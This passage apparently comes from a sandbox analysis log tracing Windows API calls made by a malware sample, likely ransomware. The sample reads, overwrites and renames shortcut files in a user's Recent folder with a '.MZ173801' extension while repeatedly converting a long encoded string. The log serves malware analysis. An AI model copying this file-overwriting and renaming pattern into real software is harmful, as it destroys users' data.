lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.491] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YAtfhQEWa9d9.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\yatfhqewa9d9.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.491] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x19df, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x19df, lpOverlapped=0x0) returned 1 [0122.493] CloseHandle (hObject=0x288) returned 1 [0122.493] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YAtfhQEWa9d9.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\yatfhqewa9d9.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.494] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x19df, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x19df, lpOverlapped=0x0) returned 1 [0122.495] CloseHandle (hObject=0x288) returned 1 [0122.498] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YAtfhQEWa9d9.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\yatfhqewa9d9.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YAtfhQEWa9d9.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\yatfhqewa9d9.lnk.mz173801")) returned 1 [0122.500] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf265740, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf265740, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf265740, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="YgiFg.lnk", cAlternateFileName="")) returned 1 [0122.500] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.500] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.500] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YgiFg.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ygifg.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf265740, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf265740, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf265740, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1 [0122.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.505] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YgiFg.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ygifg.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.506] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xa00, lpOverlapped=0x0) returned 1 [0122.507] CloseHandle (hObject=0x288) returned 1 [0122.507] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YgiFg.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ygifg.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.508] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xa00, lpOverlapped=0x0) returned 1 [0122.509] CloseHandle (hObject=0x288) returned 1 [0122.516] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YgiFg.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ygifg.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YgiFg.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ygifg.lnk.mz173801")) returned 1 [0122.517] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde9ea8e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf513000, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf513000, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1365, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="_bUsoF-1OZB 3IZ4.lnk", cAlternateFileName="_BUSOF~1.LNK")) returned 1 [0122.517] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.517] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.517] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_bUsoF-1OZB 3IZ4.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_busof-1ozb 3iz4.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde9ea8e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf513000, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf513000, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1365)) returned 1 [0122.519] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5Nj